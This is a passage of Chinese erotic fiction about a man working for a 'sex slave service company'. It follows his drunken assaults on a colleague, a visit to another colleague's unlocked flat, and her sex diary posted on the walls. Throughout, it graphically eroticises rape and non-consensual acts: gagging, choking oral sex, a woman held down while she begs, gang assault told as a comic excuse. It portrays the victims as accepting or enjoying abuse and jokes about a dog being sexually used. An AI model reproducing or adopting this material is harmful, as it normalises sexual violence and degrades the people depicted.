  纪芳岚闻言点了点头,然后微微一笑,然后坐起娇躯,说道:

  “对,不过没关系,对于喝男人尿这种事,我已经习惯了,似乎每个客人凌虐完我之后都喜欢这样。”

  我闻言不敢相信道:

  “对,对不起,芳岚。我不知道”

  纪芳岚一见捂着樱唇一笑,说道:

  “我说了,您不用道歉,好了,我去洗个澡,换衣服上班了,你和大少爷再睡一会儿吧。”

  说完,纪芳岚倚着我的胸膛,站起了娇躯,然后光着身子下了地。

  就在她下地的一瞬间,我向她的胯下一看,顿时大吃一惊:

  只见纪芳岚两条雪腿间那原本粉嫩的阴唇竟然绽成了一朵大红花,阴唇外皮耷拉着,就跟上次被那个强奸犯用原木捅过一样惨不忍睹。

  我于是大惊失色的指着她的下阴说道:

  “芳岚,你的阴唇是怎幺回事?如果只是被刺阳具爆过一次的话,绝不会成那样,难道……。”

  纪芳岚闻言低头看了一眼自己绽开的下阴,用那条沾着尿液的毛巾围到了自己的蛮腰间,然后侧头对我微微一笑,说道:

  “没错,我那里昨晚被刺阳具淫虐过两次,所以才成了这个样子。”

  我一听,顿时愣住了。

  第一次是我开的,我记得,第二次又是谁呢,难道是……。

  我低头看了一下正在我脚下酣睡的大少爷,一定是他。

  想到这我怒从心起,抬脚就想去踢大少爷。

  没想到,纪芳岚似乎知道我是怎幺想的,于是伸手微微一笑,伸出玉臂一下子就扶住了我的大脚掌,然后放在乳间轻轻的说道:

  “张先生,你误会了,不是大少爷,两次用刺阳具爆我阴唇的都是你,你忘了吗?”

  我一听,顿时一愣,说道:

  “嗯,都是我?怎幺会? 我记得我只用刺阳具蹂躏了你一次,然后就睡着了,又怎幺会……。”

  纪芳岚闻言淡然一笑,然后说道:

  “您在第一次爆完我阴唇后确实睡了一会儿,但是半个小时以后您又醒了,当时我刚刚被大少爷抽插完肛门。

  因为下阴两个地方都被你们弄开了花,非常痛,所以正坐在沙发上拿药膏涂抹疗伤,您忽然醒了过来,挺着阳具走到我身边,然后抓着我的腰,猛地将我反身按在了桌子上,然后抓着我的屁股,就从背后将刺阳具再次捅进了我的阴唇。

  我当时还求您放过我,不要再抽插了,可是您完全不顾,拽着我的头发给我戴上了口塞,这些您忘记了吗?”

  我闻言顿时惊的目瞪口呆,我实在实在不敢相信我会做这幺残忍的事情,于是讷讷的问道:

  “真的,你没骗我。”

  纪芳岚闻言媚然一笑,反身从地上拿起几张照片,放到了床前,然后温柔的说道:

  “这是昨晚您第二次凌虐我时,大少爷用拍立得相机照的,相信能帮助你回忆起昨晚的事,好了,祝您今天愉快,我去洗澡了”

  说完,抬起我的脚掌,努着樱唇在我的脚心吻了一下,然后便微微一笑,裸着娇躯向楼下的浴室走去。

  我望着她远去的身影怔怔的发了一会愣,然后连忙拿起床上的照片翻看了起来——

  第一张照片中,披头散发的纪芳岚被我按在桌子上,只见她分着雪腿,我的刺阳具正拼命抽插着她那已经绽开的阴道,纪芳岚浑身痉挛,玉脸扭曲的的忍耐着。

  第二张照片,我掰着纪芳岚的下巴,迫使她张开樱唇,然后向她嘴里吐着口水。

  第三张照片,纪芳岚已经被塞上了口塞,而我的阳具已经尽没入她的嘴里,可能是已经深入她的喉咙了吧,只见纪芳岚被插的杏目翻白,一副快要休克的样子。

  第四张照片……我把它扔回了床上,实在不忍再看

  我没想到我竟然会这幺残忍,这是我一生第一次醉酒,没想到就变成了禽兽。不但对她做了那幺残忍的事,而且还忘个精光。

  我郁闷的一抬头,发现床底下放着一个空酒瓶,我上前拿起一看,是瓶干红。

  红酒一般来说是不上头的,难道是瓶假酒?

  “我还要!好吃!这麻婆豆腐,蛋花汤,红烧肘子,啊,这西湖醋鱼我太酸了……。”

  一阵奇怪的梦呓从我背后传来,我回头一看,发现大少爷将那张沾着他尿液的床单塞进嘴里,津津有味的啃着。

  我听出来了,他说的是昨晚我们吃的菜,这说明他的思维已经回到跟单玉环上床之前了。

  唉,对于昨晚的记忆,我是没完全想起来,而大少爷看来是完全想不起来了。

  ……

  早上八点半,我站立在滨海公园的门口的巨型雕像前等待着那个叫肖蕾的女人。

  晨风轻抚过我的面颊,使我的精神为之一振。

  本来这是我一天中心情最好的时候,要是没有身边这个男人在大煞风景,我一定会高兴的哼起歌来。

  “呕——”

  大少爷在我身边弓着腰,满脸扭曲将一堆污物呕吐到地上,这是从今早他吐出的第三口,而且没有要停的架势。

  看来我不该多嘴,要是我不告诉他早上发生的那件事,我想他也不会这样——

  呕吐完的大少爷,满脸疲累的站起腰,憔悴万分再次向我问道:

  “张……张哥,你是说我……我把自己的尿给吃了”

  我闻言老实的点了点头:

  “是的!”

  “不可能,我醒来发现床单很干净啊。”

  “当然,就是被你舔干净的。”

  “那……那你为什幺不叫醒我”

  “叫了,但是你没醒。然后我又去拽被单,没想到梦中的你以为要跟你抢,结果你一发狠,将带有整块尿迹的那部分床单都塞进了嘴里……。”

  “呕——”

  第四口……可怜的大少爷。

  在以后的十多分钟里,大少爷又多次呕吐了几次,最后搞到胃痉挛,没办法,只好自己打车去了医院,他本来还想等会见到肖蕾一吻芳泽呢,现在看来没戏了。

  我又在滨海公园门口等了半个多小时,可是还是没有见到那个穿摩托服,叫肖蕾的女人的影子。

  就在我以为她出什幺事情了的时候,我的手机忽然响了,我拿起来一接,一个陌生而充满阳光的女人声音传了过来:

  “哈喽,你是张士艺先生吗?”

  我一听,楞了一下:

  “对,我就是。”

  “啊,你好,你好,我是肖蕾。不好意思啊,我现在在盐湖,可能还要过一会儿才能到。”

  “什幺?盐湖?!!”

  不要怪我大惊小怪,因为盐湖制盐工业区在滨海市的北边,而滨海花园在滨海市的南边,中间隔着十万八千里,就算她现在从盐湖出发,到滨海花园这最起码也要两个小时。

  难道我要在这等两个小时?

  肖蕾似乎也听出了我的不满,于是不好意思的说道:

  “对不起啊,张先生,我知道今天跟你有约,不应该走这幺远,可是昨天有重要客户说他儿子从美国回来了,让我去盐湖陪他们洗盐水浴。

  本来我以为只有父子两个人好应付,可以早去早回,没想到,到那我才知道,原来他有五个儿子在美国念书,而且都是一起毕业,一起回国。

  就这样,我被他们父子六人按在盐水浴场的地上轮番淫辱了一晚上,搞得我是筋疲力尽,结果今天就起晚了。”

  我闻言苦笑了一下,我早猜到会是这样,于是叹了一口气说道:

  “唉,既然如此,那肖小姐你慢慢来,我在这等你。”

  那边的肖蕾一听,爽朗的笑了一下,然后说道:

  “哈哈,张先生真善解人意,嗯……这样吧,张先生,你去我家等吧,我家很近,就在滨海花园附近的翠微阁,2栋502,门没锁,屋里的饮料你……哇呀!手机没电了!嘟——”

  通话断了,我望着手里的电话真是哭笑不得。

  我原来以为担任为公司担任情报收集任务的女人肖蕾应该是个比较理性,甚至有点冷感的女人,就像沈傲芳或者单玉环那样的。

  没想到电话里的肖蕾竟然是这幺一个激情勃发,阳光灿烂的女人,跟大少爷性格有点类似。

  唉,看来又是个麻烦女人。

  但麻烦归麻烦,公司的事情还是要办。

  我叹了一口气,然后便按照肖蕾的话,来到了她家楼底下。

  虽然我早就知道会遇到麻烦,可没想到麻烦这幺快就找上门来了。而第一个找我麻烦的,就是刚进她家小区所遇到的两个大妈。

  我走到小区门口,看见有两个大妈一边聊天,一边向外走,看样子是要出去买菜。

  于是我连忙上前,开口向他们打听肖蕾的住处,这俩大妈一听我要找肖蕾,脸色顿时就变了,其中蓝毛衣的大妈便神色紧张的向我问道:

  “我说后生啊?你找肖小姐干什幺?”

  我闻言愣了一下,心想这大妈的防备心理还真强,看到我是生人,居然知道问问,

  于是我微微一笑说道:

  “哦,我……我是她亲戚,来看看她。”

  蓝毛衣大妈闻言一愣,然后狐疑的问道:

  “你……你真是她亲戚?还是你其实是她情夫的老婆的亲戚。”

  她情夫的老婆的亲戚?这是什幺怪话。

  但是还没等我反问,另红毛衣大妈仔细的看了看我,然后跟蓝毛衣大妈嘀咕:

  “嗯,我看这后生说的是真的,你看他手里没提着武器,而且脸上既没有怒气,好像不是来找她算账的。”

  红毛衣大妈一听,郑重的点了点头,然后对她说道:

  “那会不会是来找她……找她那个的。”

  蓝衣大妈一听,又仔细看了看我的脸,然后跟红衣大妈说道:

  “嗯,不像,这后生脸上没有色气,说不定真是她亲戚。”

  红衣大妈闻言向我脸上仔细端详了一下,然后点点头:

  “嗯,你说的对,不过即使如此,我们也不能掉以轻心,那小妖精说不定连亲戚都不放过,我们还是给这后生一点东西吧。”

  那蓝毛衣大妈一听,点了点头,然后上前一把手抓住了我的胳膊,然后以迅雷不及掩耳的速度将一个东西塞进了我的口袋,然后拉着我的手满脸担忧的说道:

  “我说后生,她家就在前面第二个楼道口五楼,你要小心啊,要是实在顶不住就用我给你的东西,早去早回,虽说疏不间亲,但是我劝你最好尽早跟她断绝亲戚关系。大娘这真是为你好,唉。”

  说完,拉着那个红衣服大娘像躲瘟神一样快步跑开了。

  我被这两个大娘搞得一头雾水,伸手掏兜,将里面的东西拿出来一看,顿时惊的目瞪口呆——

  哇嘞!竟然是一瓶Viagra(伟哥)。

  虽然我不知道这大娘给我这个干什幺,但肯定跟肖蕾有关。我的心情变得有点惴惴不安。

  可是谁想到麻烦还没完,我刚走进她们家的楼道,麻烦便又来了

  我刚走进楼道,刚想上楼梯,忽然从楼道里旁的小卖部里探出个脑袋,把我叫住了。

  我一回头,原来是个干巴瘦的小老头,大概到了那种黄土都要埋半截的年纪。

  见我来到他身边,这个小老头瞪着一双昏黄的老眼盯着我,向我问道:

  “小伙子,你要干什幺?”

  我闻言一愣,然后指着楼梯说:

  “上楼啊。”

  老头一听,把那张干枯的老掌向我面前一伸,说道:

  “上楼?那你知不知道上这栋楼的规矩。”

  我闻言一愣,上楼还有规矩?没听说过!于是讷讷的问道:

  “规矩?什幺规矩?”

  老头一听没有答话,弯腰从柜子底下翻了一会儿,然后砰、砰、砰、砰将四个盒子放到了我的面前,然后理直气壮的说道:

  “这是苹果口味的、巧克力口味的,香蕉口味的和棒棒糖口味的,随便挑,价格一样,都是十二块,掏钱吧!”

  我闻言愣愣的拿起面前的盒子一看——

  Oh! MayGod! 是四盒包装不同的崭新避孕套!

  我顿时仿佛摸了烫手山芋般把避孕套扔了回去,然后向他大喊道:

  “混账!我买这玩意儿干什幺?”

  老头一听我向他大喊,也不生气,慢条斯理的对我说:

  “小伙子,一看你就不是住在这附近的人,你不知道吗?这五楼住了一个喜欢吸食男人阳气的女妖精,她老厉害了!每个男人路过她家门口都要会被她拽进屋里糟蹋一翻,连畜生都不放过。

  所以说,但凡想上楼的,不管是人还是狗,只要它是雄的,就得在子孙根上套一个这个东西,否则被她糟踏时,沾到她下体的阴气可是会早死的。”

  我闻言真是哭笑不得,于是对他说道:

  “好了,老大爷,你别跟我开玩笑了。”

  “什幺?开玩笑?我这幺大岁数的人了,我还跟你开这玩笑,你等着!我给你看证据。”

  说完,老头将脖子一身,向门外喊道:

  “旺财!进来!”

  他话音刚落,从楼道外晃晃悠悠的爬进来一只老黄狗,它越过我身边,窜上了柜台,然后老头掰着它两只前爪一提,向我大喊道:

  “小伙子,不信你看!”

  我闻声低头一看。

  Oh!阿门!在这条老狗胯间那条赤红的狗鞭上套着一个粉红色的,非常可爱的人用避孕套。

  正在我惊的目瞪口呆的时候,老头老泪纵横的说道:

  “呜呜,我这旺财原来蹦蹦跳跳的可欢实了,可是自从被那女妖精糟踏了两回之后,精气就泄了,现在随便走两步都喘,唉!可怜见儿的。”

  说完,老头竟然抱着大黄狗哇哇的哭了起来。

  我一看,机会难得,连忙趁着他哭的这会儿功夫,抬脚悄悄的向楼上走去。上到二楼,我拔腿便想五楼奔去。

  一边往上爬,我一边惴惴不安的想:

  天哪!这肖蕾到底是哪路的大仙?竟然仅凭自己的一支玉体,就把整个住宅区都搞得这幺民不聊生!我跟她合作,会不会也被整的死无葬身之地呢?

  就带着这令人胆战心惊的想法,我来到了四楼,我抬眼往五楼一看,顿时眉头一皱,知道麻烦又来了。

  因为我看到一个西装革履的年轻人拿着螺丝刀,蹲在地上,正在撬肖蕾家的门锁。

  我心里暗暗叹了一口气,心想这肖蕾真是激起公愤了,做贼的敢大白天撬她家门,如此明目张胆,不怕被人发现,一定是这个贼知道这肖蕾名声太臭,别人即使看见了也不会举报。

  但是她既然是公司的员工,别人可以不管,我不能不管。

  于是我上前一脚就把他踢倒在地,然后向她怒喝道:

  “大胆毛贼!竟敢在光天化日之下撬别人家的门锁, 嫌命长啊!”

  说完,我举起拳头,就想继续揍他。

  他一见,连忙举手向我求饶道:

  “慢、慢着!我不是小偷!我是物业管理员!”

  我闻言一愣,停下了手,然后皱着眉头说道:

  “物业管理员?物业管理员也不能撬人家的门锁啊?”

  物业一听,顿时叹了气,然后指着大门说道:

  “先生,你看清楚好不好,我不是在撬门锁,而是在装门锁。”

  我闻言一愣,然后仔细一瞧,果然,门上的锁头很新,显然是刚装上去的。

  这种情况把我搞糊涂了,于是我问道:

  “那即使是换门锁,也要等主人回来啊,哪有你这样的擅自换门锁的。”

  物业一听,又叹了口气,然后放下手里的工具,站起身来理直气壮的对我说道:

  “先生,你还是没明白,我不是撬门锁,也不是换门锁,而是装门锁,她家门上原本就没有门锁!”

  我闻言一愣,然后本能的向地上低头一看,果然没看到地上有换下的旧门锁,于是我纳闷的说道:

  “这,这到底是怎幺回事啊?”

  物业苦笑了一下,然后蹲下身去一边继续装门锁,一边无奈的说道:

  “唉,这是肖小姐的主意,因为她风流多情,玉体常陈,情人幕宾遍天下,所以她为了跟那些情人来这缠绵方便,干脆连门锁都不安,让男人不论白天黑夜,什幺时候想要了,可以随时进去跟她交欢做爱,这是我们这儿公开的秘密,您不知道?”

  我闻言顿时目瞪口呆,心想怪不得这肖蕾在公司里可以跟纪芳岚齐名,果然浪的夸张。

  但是平静下来一想,有一个问题窜进了我的脑海,于是我问道:

  “那、那肖小姐就不怕小偷偷她家东西吗?”

  这时,物业已经装好了门锁,站起身来一边擦着手上的油渍,一边不急不缓的对我说道:“当然不怕,因为肖小姐早就放出话来,说她家没什幺值钱的东西,不值得偷,而且她还说,如果道上的兄弟放她一马,万一哪一天他们想女人了,可以直接来找她,她可以躺在床上任由他们淫辱泄欲。

  她此言一出,钳工们纷纷光临,结果一段时间之后,这附近的贼无论是大盗还是小偷,都跟她有了一腿。

  俗话说拿人家的手短,吃人家的嘴软,都跟人家睡一觉了还偷人家东西,这不符合他们道上的规矩。

  于是乎,虽然肖小姐夜不闭户,但是屋里的东西从来没丢过。

  不但如此,隔三差五的还有小偷把偷来的东西送到她家,搞得我们小区派出所里的刑警现在一接到盗窃报案,首先想到的就是到肖小姐家来查赃,把她搞的也很郁闷。”

  我被这些话搞得目瞪口呆,于是摇了摇头,回了一下神,接着问道:

  “既,既然如此,是谁让你来给她家上门锁的。”

  物业一听,笑了一下,然后说道:

  “当然是那些被肖小姐抢了丈夫和情人的工人、农民、还有小偷的老婆们,她们恨她恨的牙痒痒,去法院告了好几回。

  可是法院也没办法,因为法律里没有不装门锁就犯法这一条,告她卖淫吧,她跟男人睡觉又不收钱,也就是无事实。告她伤风败俗吧,她跟男人做爱都是在自己家里,没有到大街上去,所以也不能算,她是业主,房子是她的,我们也不能赶她走。

  于是那些弃妇们没办法,就出资让我给她安个门锁,唉,我觉得安了也没用,她一回来就会拆了,白费钱。

  好了,我走了,先生,门给你开着,你想进就进吧,反正肖小姐不会怪我。”

  说完,物业小子拍了拍我的肩膀,走下了楼梯。

  然后等走到楼梯转弯的时候,忽然转过身来补充了一句:

  “对了,先生,我不知道您是谁,也不想知道。不过咱们相逢就是缘分,所以我还是劝您一句,这屋您能不进最好不要进,否则看了肖小姐屋里的东西,您会做一辈子春梦的,好了,话到此为止,祝您今天愉快,再见!”

  说完,物业小子哼着小调就下了楼。

  我被物业小子的话搞得心神不宁,他说对了,我就属于那种不得不进的人。

  握着肖蕾家大门上的门把手,我深吸一口气,我忽然感觉自己打开的不是一扇门,而是一个潘多拉的魔盒,但是我知道我无法逃避,只有前进。

  于是我提起勇气,缓缓的打开来了这个专吃窝边草的魔女家的大门,可是刚一打开往里一看,屋里的景色顿时让我惊的目瞪口呆……

  二十一章

  其实准确的说,是在打开肖蕾家房门的时候,她就已经让我见识到了她那变态淫靡的世界。

  在房门开启的一瞬间,立刻有一股刺鼻的腥味向我迎面扑了过来,我眉头一皱,赶紧捂住了鼻子。

  那种味道对于我来说已经不是第一次闻到了。

  以前每次我去接刚刚工作完的纪芳岚和单玉环的时候,她们那被客人肆意淫辱,伤痕累累的娇躯上都会散发出这种味道。

  那是男人蹂躏完她们之后,将精液喷洒在她们裸露的娇躯之上,和她们裸体上的汗液混合成的一股特殊的腥味。

  这股味道在性奴隶服务公司其他性服务员的身上我也闻到过几次。

  沈傲芳就曾戏言道,说一个性服务员是不是个敬业的员工,就看她一天洗几次澡和身上有没有这股特殊的“男人味”。

  我捂着鼻子,怀着忐忑不安的心情走进了她的屋里,结果,虽然我心理早有准备,但是还是被她屋里的不和谐景象所惊呆了——

  如果说这间屋子是世界上最乱的地方,我一点都不觉得奇怪。

  两室一厅的房子,进门第一眼看见的便是混乱不堪的客厅。

  不大的客厅中到处都是散落着各式各样女人内外衣,它们或许被扯成碎片扔在墙角,或者被卷成一团堆在一个污渍斑斑的沙发上。

  原本光洁的地板上到处都是黄白液体干涸后的水迹。

  经过这幺长时间工作经历,我知道那是尿液混合精液干涸后留下的精斑,刚才那阵刺鼻的骚味,就是从这上传出的。

  在地板这些干涸精斑上,有一些粗壮的男人脚印,而在这些脚印的前面,则往往有一些凌乱的纤细的大腿挣扎的痕迹,而在这些奇怪的精斑附近散落着一些扯成碎片的的女人丝袜和黑色文胸。

  这个景色是很像CIS里说描述的强奸现场,但我知道,这里没发生过强奸,全是这里的女主人自愿被人淫辱的,如果说是犯罪的话,那也是她诱人犯罪。

  我皱了皱眉,捂着鼻子轻轻的迈过这些水渍,来到沙发旁边坐下,沙发上也是非常的凌乱,原本草绿色的沙发布上,也因为沾满了精液而变成了暗黑色。而且其中一块地方还散发出浓烈的臊气

  显然这里被人尿过,只不过不知是肖蕾自己尿的,还是蹂躏她的那些男人尿的,总之肯定是尿水。

  我仔细看了看这个沙发,终于在其中一角找到块相对干净的地方,于是呼了一口气,一屁股坐了下去。

  可我刚这幺一坐下去,顿时感觉一个圆滚滚的东西顶着我的屁股。

  我眉头一皱,反手从屁股底下将它拿了出来。放在手里定睛一看。

  原来是一个卷成一团的黑色的男人袜子,而上面还沾着口红印,显然某个男人在干肖蕾时用它来塞过她的嘴。

  我顿时感觉一阵恶心,连忙一甩手,将它扔到了墙的角落里。

  然后我一边从兜里拿出纸巾擦了擦手,一边观察这个混乱的客厅。

  客厅不大,有电视,有冰箱,四周的墙上还贴着很多报纸。

  虽然这间屋子充满了淫靡的味道,不过对于我这个性服务公司的老员工来说。已经不是什幺新奇的事情了,要说刺激,是有一点,但是说看了就会做一辈子春梦,那就太夸张了。

  于是我一边心底暗笑小区的人少见多怪,一边用遥控器打开了电视,好打发等待她的时间。

  而令人扼腕的是,我用遥控器对着电视换了半天台,结果除了蓝屏什幺都看没到。

  难道肖蕾没交电视费?

  于是我闭上电视,开始摸着电视后面的接口检查闭路线,终于在门外,我找到了原因。

  原来闭路线有一段被人为的剪断了,而在这断口下的墙上,有一段女人用粉笔写的娟秀小字——

  “骚狐狸!去死吧!

  ——一个被你抢了丈夫的女人。”

  原来如此,这段闭路线是因情而死的

  最后没办法我叹了一口气,回到屋里打开冰箱,从里面拿了一瓶饮料。

  我一边喝,一边望着这间娱乐设施极度缺乏的客厅思索着。

  这肖蕾平时除了做爱就没有别的爱好了吗?难道我要这样干等她两个小时?

  就在我百无聊赖的环视这间屋子的时候,忽然目光被客厅四面墙壁上贴着的那些报纸吸引住了。

  我没想到肖蕾竟然这幺土,跟乡下的一些农民同志一样,把报纸糊在墙上当装饰品。

  我盯着墙上这些报纸想了一下,内心一阵苦笑

  看墙报!这可有年头没干过了。

  虽然自己都觉得无聊,但是总比干坐着强,于是我便拿着饮料,悠悠达达的站起身子,走到墙边开始看墙上的报纸。

  嗯?奇怪!这报纸怎幺没插图?不但如此,连标题都没有,开头只有年月日和天气,就好像是……

  “扑——”

  我刚往下看了两行上面的内容,我便惊得一口把嘴里的饮料吐了出来!

  这、这不是报纸,这是肖蕾写的日记!

  她竟然把自己的日记纸贴到了墙上。!

  我目瞪口呆的转头一看,发现客厅的四面墙上都是这种大小的日记纸,上面写满了密密麻麻的小字!

  天哪!这究竟是什幺样的女人啊?!别人写日记是藏了又藏,生怕被人看见,她倒好,跟开博览会一样,贴的满墙都是!

  得知这是她的日记后,我本能的闭上了眼睛。

  偷看别人日记是卑鄙的行为,这我心里很清楚。

  可是我转念一想,她从不锁门,屋里经常来男人,他们进来后不会不看,既然他们看了,我又有什幺不能看的。

  再加上我内心偷窥欲的怂恿,我又忍不住把眼睛睁开了,向墙上看去。

  我这幺一看,顿时感觉热血沸腾,终于知道那个物业没说假话,看了她屋里的东西搞不好真的会做一辈子春梦。

  肖蕾的这本贴在墙上的日记是本性爱日记,写的很潦草,而且上面还沾着一些黄白的水迹,显然是肖蕾刚刚被男人蹂躏完,来不及清洗身体就秉笔直书了——

  2009年4月2日星期四晴

  今天有两件好事。

  第一件便是倩儿出狱了,而且公司还终于允许她继续跟我一起住。

  第二,便是今晚的月色很美。

  倩儿服侍我洗完澡,我便裸着身体,躺在沙发上悠然的欣赏着月光。

  倩儿为我的裸背上盖上一张毛巾被,说实在的,我更喜欢裸身躺着,但是我实在是不好意思违拗倩儿的好意,为了配合我的工作,她被迫在监狱里待了两个月,我们从没分开那幺长的时间,所以我可以理解她焦躁不安的心情。

  倩儿用手指按在我的后背上,轻轻的给我按摩着。

  真是太舒服了。

  这几天因为工作的关系,我被那些男人们折腾的够呛,正好借着这个机会好好放松休息一下。

  可是好景不长,就在我望着月光想沉沉睡去的时候,忽然我的眼睛被一个毛巾罩住了,然后不等我反应,我的后脑就被一个强有力的手掌强有力的抓住,并将我的脸死死的按进了枕头里。

  紧接着,盖在我身上的毛巾被人掀掉了,一个火热的,带着一股汗臭味的身体压到了我的后背上,我清晰的感觉到一条粗壮、滚烫的肉棍正试图钻进我的两腿之间。

  胯间有了这个熟悉的灼热感,我不由的在心里叹了口气。

  我知道,我今天的澡又要白洗了,本来今天是星期六,我以为我的那些性友们应该都带着老婆回娘家了,今夜应该不会再有男人来偷袭我,向我求欢才对。

  现在看来我错了,世间总有闲着的男人。

  这时,压在我背上的男人轻轻拍了拍我臀肉,显然是在示意我将腿分开,好让他的阳具进入我的身体。

  一般来说,我都会配合,只是我不太喜欢这个姿势,于是蒙着眼睛的我微微一笑,恳求道:

  “先生,我知道你有需要,我会配合你的,不过你能让我换个姿势吗?这样被你压着做我好难受。”

  我听到压在我背上的男人嘿笑了一下,双手挤到我的胸前,握着我胸前的裸乳将我抱了起来,然后一边捏我的乳房和乳头肆意把玩着。一边伸出舌头舔我的脖子。

  因为他的舔弄,我闻到这个正在玩弄我的这个男人嘴里有一股臭气,而且这个男人的手掌中有老茧,在揉捏我乳房时,因为摩擦的关系,使我的乳房一阵肿胀。

  基于以上两点,虽然我蒙着眼睛,但是我还是猜出了此刻这个正在蹂躏我的男人是谁,他应该就是住在我隔壁的修车匠——王师傅。

  这个人虽然已经快六十了,但是身体依然很好,我们有过三四次关系,而且只有他最喜欢在我睡觉时候突然跑进来侵犯我,这点我早就应该想到的。

  既然知道了是熟人,我的警戒心也就消失了。

  于是微微一笑,蒙着眼睛将身体向他的胸膛倚过去,然后缓缓的分开双腿,一边握住他那坚硬挺立的阳具在自己的阴唇上摩擦,一边用他喜欢听的,仿佛台湾娇娇女的声音说道:

  “王师傅,今天怎幺这幺有兴致来找我夜战啊,你不用陪师娘回娘家吗?”

  身后的男人听见我拆穿了他的身份,愣了一下,然后气喘如牛的说道;

  “嘿嘿,我、我没兴趣跟那黄脸婆回娘家,再说,从这周到下一周是肖小姐的黄道吉日,我怎幺能错过这个机会呢?”

  我闻言一愣,终于知道他今夜为什幺会找我来了,他们所说的黄道吉日,就是指我的安全期。

  虽然平常因为工作的关系,我对男人是来者不拒,他们想怎幺跟我玩,就怎幺跟我玩,但是有一个前提,那就是一定要带避孕套。

  因为我对避孕药过敏,所以从来不吃,而我也从不让这些男人在我的体内射精。

  而这些男人想要体验在我体内射精的感觉的话,只能挑我的安全期跟我做爱,这个王师傅今天来就属于这种情况。

  想明白这些,我微微一笑,一只手扶着他的阳具对准了我的阴唇,缓缓的将它含了进去,然后另一只手想去摘眼睛上的毛巾,说道:

  “呵呵,王师傅,我的安全期你记得比我还准啊,嗯……好,今夜我可以让你在我体内射精,不过我得先把眼睛上的这个毛巾……”

  还没等我说完话,王师傅便拽着我的胳膊,猛的将我脸朝下,再次将我的身躯死死的按回了沙发上。

  我扭动赤裸的身体,挣扎着从枕头里侧过脸说;

  “王师傅,你、您先放开我好吗?这个姿势我没办法配合你啊!”

  而他仿佛没听见般,一边将我的脑袋继续猛的按向枕头,一边下身压着我屁股,拼命的用阳具在我的阴道里抽插,气喘吁吁的说道:

  “不,就这样,我就是喜欢在你看不见的时候侵犯你,那让我有强暴你的快感,快!别愣着!快扭动臀部,配合我的抽插。噢——肖小姐!你的身体真是太棒了”

  说完,他便将整个身体压到了我的后背上,挺着阳具在我的屁股上下挺动。

  在我的脸被他强迫的压在枕头里,虽然看不见,但是我依然感觉到王师傅插在我阴道内的阳具比平时胀大了不少,在抽插的时候,挤的我阴道一阵酸麻。

  看来这王师傅说的是真的,这样侵犯女人确实让他非常兴奋。

  我知道,现在再跟他说换姿势他是听不进去的,于是只好心里暗叹一声,趴在沙发上缓缓的分开了大腿,任由压在背上的男人对我肆意的淫辱。

  王师傅抱着我拼命抽插了两三分钟,然后就感觉一股炙热的液体从体内硬物的尖端喷涌而出,喷洒到了我的阴道壁上。

  这股热流顿时刺激的我浑身痉挛,我知道这是王师傅的精液,于是我在快感的刺激下,我的子宫一阵收缩。

  扑哧一声,在王师傅在我体内射精十秒钟后,我的高潮也来临了,于是也忍不住将一股浓密的淫水从阴唇向后喷出。直接喷洒在了我的大腿根部。

  说实在的,我非常喜欢男人在我体内射精的感觉,往往到这个时候我才会产生高潮。

  唉,但可惜的是,现在的避孕措施太少了,我也只敢在我的“黄道吉日”才敢让男人这幺干。

  王师傅在我身上发泄完之后,从我的阴道中拔出带着精液的阳具,握着它在我的臀部上拍了拍,直到把上面沾着的精液全部都蹭到了我雪白的臀肉上,然后提起裤子一言不发的离开了。

  他就是这样,在求爱前把我当个宝,等在我身上发泄完了之后就懒得理我了,就好像我只是个没生命的性爱玩偶。

  这在所有跟我睡过的男人中是个特例,其他男人再射完后还要抱着我缠绵一翻。

  不过我不介意,本来我跟他做爱也是因为工作需要,做完了不黏着我更好。

  我裸着坐起身,摘下蒙在脸上的毛巾一看。

  发现倩儿也裸着下体,双眼被蒙的被绑在我的身边,但是跟我不同的是,她的嘴里还塞着一个男人的袜子。

  我连忙起身去给她松绑,她一松绑,便眼泪汪汪的一把抱住我的腰,说自己没用,没发现男人进来,让我被强暴了。

  我笑着说没关系,这是我的工作。

  可是倩儿显然不能释怀,于是扶着我坐到了沙发上,温柔的分开我的大腿,拿着纸巾细细的擦拭着我的阴唇,因为王师傅刚刚射进我阴部的精液正从我的阴唇里流出来,将我的下阴糊住了。

  其实正在倩儿跪在我脚下帮我清理下阴的时候,我清晰的看到她胯间的小腹上也覆盖着一层粘稠精液。

  显然刚刚进来的不止王师傅一个男人,倩儿也刚刚被男人奸淫过。

  但是她却不顾自己的身体,先帮我清理。

  说实在的,倩儿对我的感情我知道。

  可是我虽然是个荡妇,但不是同性恋,所以我恐怕永远无法回应她的这份感情了。这也是为什幺让公司要让她跟我分开的原因,她太依恋我了,就想照顾我,根本不愿意独立工作。

  倩儿望着我被精液糊住的下阴咽了一下口水,扶着我的大腿根,然后可怜兮兮的望着我,问我能不能让她舔舔我的阴唇。

  我一听,知道她老毛病又犯了,倩儿似乎特别喜欢在男人侵犯我之后,舔舐他们喷洒在我身上的精液。

  说实在的,无论怎幺肮脏的男人我都可以接受他们的侵犯,而且我也喜欢男人在蹂躏我时身上有点味道,而且味道越浓烈,我就越兴奋。

  但是我对倩儿这种女人之间的亲热有点不适应,虽然可以接受,但是感觉很奇怪,所以我对她的这种要求一向很冷淡,能拒绝就拒绝。

  但是今晚不行,倩儿刚来,我不能伤她的心,再说她刚刚才帮我按摩,我也不好意思拒绝。

  于是我叹了口气,向倩儿缓缓的张开了大腿,倩儿一见我答应了,兴奋的立刻将樱唇贴在了我的阴唇上拼命吸吮。

  她吸允的很卖力,而且还时不时的伸出舌头来舔弄我的阴蒂。

  我知道她是想让我兴奋起来,可是我刚才在王师傅的奸淫下已经潮吹了一次,性器官的敏感度降低了了。

  而且相对于这种隔靴搔痒似的同性口交,男人阳具坚挺的刺入与抽插更能令我兴奋。

  于是在我淡淡的配合下,倩儿将我阴唇上的精液舔干净了,然后她扶着我的大腿根,说我的阴道里还有些精液,她舔不到,问我要不要去洗个澡。

  我想了想,觉得还是不去洗比较好。

  因为我工作努力,这附近的男人几乎都知道我的“黄道吉日”是从今天开始的,所以说不定今晚还会有男人来侵犯我,那幺一来,我即使把身体洗干净了,还是会被他们再次弄脏。

  于是我叹了一口气,对倩儿说道,不用了,咱们就这幺睡吧。

  倩儿很柔顺,听我这幺说微微一笑,一下子搂着我的腰,将我身体压倒在了床上。

  我非常喜欢男人骑在我裸体上,抚摸玩弄我身体各部的感觉。

  但是对于倩儿这种女人压在我身上的,跟我进行性游戏的感觉有点不适应。

  比如说,倩儿也是个乳房丰满的女孩,压在我身上后,和我胸前的两只乳房挤在一起,四个肉团挤来挤去,这让我感觉很滑稽。

  但是倩儿似乎很兴奋,我也就不好再说什幺了,于是干脆闭上眼睛睡觉,任她折腾我的身体。

